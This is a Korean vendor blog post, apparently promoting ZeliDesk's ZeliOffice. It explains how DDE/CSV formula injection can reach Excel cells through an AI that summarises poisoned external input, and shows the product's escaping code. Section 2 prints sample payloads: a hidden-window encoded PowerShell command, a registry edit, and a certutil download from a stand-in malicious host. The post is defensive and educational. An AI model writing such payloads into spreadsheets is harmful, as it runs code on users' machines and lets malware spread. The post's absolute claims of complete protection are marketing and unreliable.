← 기술 블로그 목록으로 돌아가기
#994 • Office Security & AI Sandboxing

AI가 생성한 엑셀 셀이 악성코드를 실행할 수 있을까? DDE 수식 인젝션 공격 원천 방어와 AI 실행 샌드박스

챗봇이 써준 엑셀 표를 열었을 뿐인데 파워쉘이 백그라운드에서 실행된다? 외부 오염 데이터가 LLM을 거쳐 스프레드시트 수식으로 악용되는 DDE/CSV 인젝션 위협과, ZeliOffice의 자동 텍스트 이스케이프 및 화이트리스트 샌드박스 설계 백서.

"대부분의 AI 서비스는 모델이 생성한 텍스트를 엑셀의 Range.Value에 그대로 밀어 넣습니다. 하지만 그 텍스트의 첫 글자가 등호(=)나 골뱅이(@)로 시작하는 순간, 엑셀은 이를 단순 문자열이 아니라 '운영체제 명령어를 실행할 수 있는 실행 파일'로 인식하기 시작합니다."

1. AI 오피스 자동화의 치명적 맹점: "엑셀 셀은 단순한 텍스트가 아니다"

최근 학교 교무실과 공공기관, 기업 현장에서는 "게시판 민원 글 100개를 요약해서 엑셀 시트로 정리해줘", 혹은 "이메일 첨부 설문지 내용을 엑셀 표로 취합해줘"라는 형태의 AI 자동화가 널리 쓰이고 있습니다.

사용자는 AI가 정중하게 정리해 준 엑셀 파일을 신뢰하고 더블 클릭합니다. 하지만 요약 대상이 된 외부 문서에 교묘한 프롬프트 인젝션이나 악성 수식이 숨겨져 있었다면 어떻게 될까요? 이것이 바로 정보 보안 업계에서 가장 위험하게 평가하는 CSV/수식 인젝션(Formula / DDE Injection, CWE-1236)입니다.

2. 공격 시나리오 해부: DDE(Dynamic Data Exchange)를 이용한 원격 코드 실행(RCE)

마이크로소프트 엑셀은 다른 윈도우 애플리케이션과 데이터를 주고받기 위해 1990년대부터 DDE(Dynamic Data Exchange) 프로토콜을 지원해 왔습니다. 문제는 셀의 시작 문자가 특정 기호로 시작할 경우, 엑셀이 이를 외부 프로세스 실행 명령어로 해석한다는 점입니다:

[ 악성 엑셀 수식 인젝션 예시 ]
=cmd|' /C powershell.exe -WindowStyle Hidden -Enc aQBmACg... '!A0
+cmd|' /C calc.exe'!A0
-2+3+cmd|' /C reg add HKCU\Software\Policies...'!A0
@SUM(1+1)*cmd|' /C certutil.exe -urlcache -split -f http://malicious.site/payload.exe...'!A0

해커가 웹 피드백 양식의 이름 항목에 위와 같은 문자열을 입력해 두면, 아무것도 모르는 교사나 담당자가 AI에게 "접수된 명단을 엑셀로 정리해줘"라고 명령했을 때 AI가 엑셀 셀에 해당 값을 그대로 입력하게 됩니다. 사용자가 파일을 열어 '업데이트'를 누르는 순간 교사의 PC가 악성코드에 감염되어 내부망 전체로 침투가 확산되는 치명적인 재앙이 발생합니다.

3. 방어선 1: 4대 특수문자(=, +, -, @) 자동 텍스트 강제 이스케이프(')

ZeliDesk의 ZeliOffice 엔진은 AI가 엑셀에 데이터를 쓸 때(단일 셀 쓰기 및 50배 벌크 쓰기 전체) 4대 위험 접두어(=, +, -, @)를 사전에 감지하고 강제 이스케이프하는 엄격한 필터링 레이어를 구축했습니다:

// ZeliOfficeWindow.Excel.cs 의 DDE 인젝션 방어 코드
default:
    var sv = cell.GetString() ?? "";
    if (sv.Length > MaxCellValueLength) 
        sv = sv[..MaxCellValueLength];

    // [핵심 방어] 수식/DDE 인젝션 원천 방지:
    // '=', '+', '-', '@'로 시작하는 문자열은 엑셀 텍스트 프리픽스(')로 강제 변환
    if (sv.Length > 0 && (sv[0] == '=' || sv[0] == '+' || sv[0] == '-' || sv[0] == '@'))
    {
        sv = "'" + sv; // 엑셀은 작은따옴표(')로 시작하는 셀을 절대 수식으로 평가하지 않음!
    }
    rowData.Add(sv);
    break;

엑셀 내부 규격상 작은따옴표(')가 붙은 셀은 화면에는 따옴표가 보이지 않으면서도 엑셀 수식 파서가 완벽하게 일반 텍스트(Literal String)로만 취급합니다. 따라서 AI가 어떤 악의적인 외부 데이터를 요약하더라도 DDE 실행 시도 자체가 100% 무력화됩니다.

4. 방어선 2: 일반 데이터 쓰기와 수식 계산의 엄격한 분리(Separation of Concerns)

"그렇다면 합계(SUM)나 평균(AVERAGE) 같은 진짜 수식은 어떻게 입력하나요?"
ZeliOffice는 데이터 입력 채널과 수식 입력 채널을 아키텍처 레벨에서 엄격히 분리했습니다:

명령어 구분 허용된 동작 보안 정책
excel_write_cell / range 일반 텍스트, 숫자, 날짜, 통계 데이터 입력 모든 위험 접두어(=, +, -, @) 자동 강제 이스케이프
excel_set_formula SUM, AVERAGE, COUNTIF 등 공식 업무용 수식 지정 화이트리스트 수식 함수만 통과 및 DDE/cmd 실행 패턴 엄격 차단

5. 방어선 3: 32,767자 셀 보호와 대량 명령어 실행 샌드박스

악성 프롬프트는 때로 수만 자의 거대한 문자열을 주입하여 오피스 애플리케이션의 버퍼 오버플로를 유도하기도 합니다. ZeliOffice는 마이크로소프트 엑셀 공식 사양인 셀 최대 길이 32,767자(MaxCellValueLength) 초과분을 안전하게 클리핑합니다.

또한 AI가 생성한 명령어 배열이 50개, 200개를 초과할 경우 백그라운드에서 시스템이 폭주하지 않도록 5개 명령마다 Excel COM 상태를 재검증하고 250~500ms의 안전 딜레이를 부여하는 가드레일 모니터링 샌드박스를 상시 가동하고 있습니다.

6. 결론: "보안이 담보되지 않은 AI 오피스는 교무실과 기업의 시한폭탄"

편리함 뒤에 보안이 빠져 있다면 그 기술은 언제든 치명적인 보안 사고의 진원지가 될 수 있습니다. 특히 교무행정과 공공 문서는 수많은 학생과 국민의 민감 정보가 오가는 핵심 자산입니다.

ZeliOffice는 단순히 COM API를 호출하는 껍데기 도구가 아닙니다. DDE 수식 인젝션 방어, 화이트리스트 파이프라인, 대량 실행 가드레일이라는 튼튼한 보안 갑옷을 입고, 공교육과 기업 현장의 PC를 가장 안전하게 지켜내는 실전형 AI 오피스 허브입니다.

가장 안전하고 검증된 AI 오피스, ZeliDesk

복잡한 보안 설정 없이 Microsoft Store에서 원클릭으로 설치하고, 완벽한 보안 가드레일 위에서 한글·엑셀 자동화를 시작해 보세요.

⚡ Microsoft Store에서 무료 다운로드